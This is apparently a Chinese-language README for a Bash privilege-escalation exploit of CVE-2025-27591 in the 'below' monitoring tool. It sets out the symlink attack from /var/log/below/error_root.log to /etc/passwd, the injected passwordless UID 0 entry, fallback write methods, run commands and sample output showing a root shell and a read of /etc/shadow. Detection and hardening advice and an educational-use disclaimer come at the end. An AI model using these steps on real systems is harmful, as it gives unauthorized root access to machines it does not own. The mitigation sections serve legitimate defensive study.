基于 Bash 的权限提升漏洞利用,针对 below 系统性能监控工具。此改进版漏洞利用日志机制中的符号链接漏洞,向 /etc/passwd 注入 root 用户,实现完全 root 访问。
由 SUSE 的 Matthias Gerstner 发现并报告 - 安全公告
/usr/bin/below(Facebook 的系统性能监控器)/var/log/below/error_root.log → /etc/passwdbelow 监控工具在拥有提升权限时,会将错误记录到 /var/log/below/error_root.log。如果日志目录是世界可写的,攻击者可以:
error_root.log 指向 /etc/passwd 的符号链接below record 命令,将错误消息写入符号链接此漏洞利用自动执行整个过程,并配备智能回退机制,以应对不同的系统配置。
flowchart TD
A[开始漏洞利用] --> B[从用户获取用户名]
B --> C{检查 /var/log/below<br/>是否世界可写?}
C -->|否| D[退出:不受影响]
C -->|是| E[删除已有的 error_root.log]
E --> F[创建符号链接:<br/>error_root.log → /etc/passwd]
F --> G{符号链接创建<br/>成功?}
G -->|否| D
G -->|是| H[执行:sudo below record]
H --> I[等待 3 秒以记录日志]
I --> J[终止 below 进程]
J --> K{有效负载是否在<br/>/etc/passwd 中?}
K -->|是| M[成功路径]
K -->|否| L[尝试手动注入:<br/>echo 有效负载 >> 符号链接]
L --> N{手动注入<br/>成功?}
N -->|否| O[尝试回退:<br/>sudo tee -a]
N -->|是| M
O --> P{回退<br/>成功?}
P -->|否| D
P -->|是| M
M --> Q[验证 /etc/passwd 中的有效负载]
Q --> R[禁用清理陷阱]
R --> S[执行:su 用户名]
S --> T[获得 Root Shell]
style A fill:#e1f5ff
style T fill:#90EE90
style D fill:#ffcccb
style M fill:#98fb98预检查阶段
/var/log/below 目录存在设置阶段
error_root.log 文件/var/log/below/error_root.log → /etc/passwd注入阶段(主要方法)
sudo below record/etc/passwd注入阶段(回退方法)
echo >> 符号链接)sudo tee -a)Shell 生成阶段
/etc/passwd 中su <用户名> 以获取 root shell注入的 /etc/passwd 条目格式如下:
用户名::0:0:用户名:/root:/bin/bash
字段说明:
用户名:用户提供的用户名(默认:"0xdtc"):::空密码字段(无需密码)0:0:UID=0, GID=0(root 权限)用户名:GECOS 字段(用户描述)/root:家目录/bin/bash:登录 shellbelow 二进制文件/var/log/below 目录必须是世界可写的below record 的 sudo 权限# 使脚本可执行
chmod +x CVE-2025-27591
# 运行漏洞利用程序
./CVE-2025-27591
========================================
CVE-2025-27591 漏洞利用 (Bash)
========================================
[*] 此漏洞将在 /etc/passwd 中创建一个新的 root 用户
[?] 为新 root 用户输入用户名(默认:0xdtc):myuser
[+] 使用用户名:myuser
0xdtc@kali:/tmp$ ./CVE-2025-27591
========================================
CVE-2025-27591 漏洞利用 (Bash)
========================================
[*] 此漏洞将在 /etc/passwd 中创建一个新的 root 用户
[?] 为新 root 用户输入用户名(默认:0xdtc):0xdtc
[+] 使用用户名:0xdtc
[*] 检查 CVE-2025-27591 漏洞
[+] /var/log/below 是世界可写的
[*] 测试符号链接创建
[+] 符号链接测试成功
[+] 目标存在漏洞
[*] 开始利用
[+] 有效负载已写入 /tmp/exploit_payload
[*] 创建符号链接:/var/log/below/error_root.log -> /etc/passwd
[+] 符号链接已创建
[*] 执行 'sudo below record' 以触发记录
[*] 已启动 'below record',PID:12345
[*] 检查有效负载是否已写入
[*] 尝试手动注入
[*] 通过符号链接将有效负载追加到 /etc/passwd
[+] 有效负载已追加
[+] 利用完成!有效负载在 /etc/passwd 中
[*] 通过 'su 0xdtc' 生成 root shell
[*] 密码应为空,直接按 Enter
root@kali:/tmp# whoami
root
脚本包含多个回退机制,以应对不同的系统配置:
已有文件处理
多种注入方法
below record 错误记录触发sudo tee 进行特权写入进程管理
below 进程重复运行检测
/etc/passwd.
├── CVE-2025-27591 # 主要利用脚本
├── README.md # 本文档
└── /tmp/exploit_payload # 临时有效负载文件(运行时创建)
成功利用后,验证 root 访问:
# 检查当前用户
root@target:/tmp# whoami
root
# 检查用户 ID 和组
root@target:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
# 验证 /etc/passwd 中的用户
root@target:/tmp# grep "^0xdtc:" /etc/passwd
0xdtc::0:0:0xdtc:/root:/bin/bash
# 读取仅 root 可读的文件
root@target:/tmp# cat /etc/shadow
[... shadow 文件内容 ...]
如果需要在测试后移除恶意用户:
# 从 /etc/passwd 中删除注入的用户
sudo sed -i '/^用户名:/d' /etc/passwd
# 删除任何遗留的符号链接
rm -f /var/log/below/error_root.log
将 用户名 替换为你在利用过程中使用的实际用户名。
文件完整性监控
# 监控 /etc/passwd 的未授权更改
aide --check
符号链接检测
# 检查日志目录中的可疑符号链接
find /var/log -type l -ls
审计日志
# 检查可疑的 sudo 使用情况
grep "below record" /var/log/auth.log
修复目录权限
# 移除日志目录的世界可写权限
sudo chmod 755 /var/log/below
AppArmor/SELinux 策略
below 二进制文件可写入的位置更新 Below
监控 /etc/passwd
本漏洞利用仅用于教育目的和授权的渗透测试。
未经授权访问计算机系统是非法的。仅在你拥有明确许可进行安全测试的系统上使用此工具。作者对误用此工具不承担任何责任。
使用此漏洞即表示你承认:
仓库:https://github.com/0xDTC/ 作者:Divine Clown (0xDTC) 许可证:仅限教育用途 最后更新:2025-11-13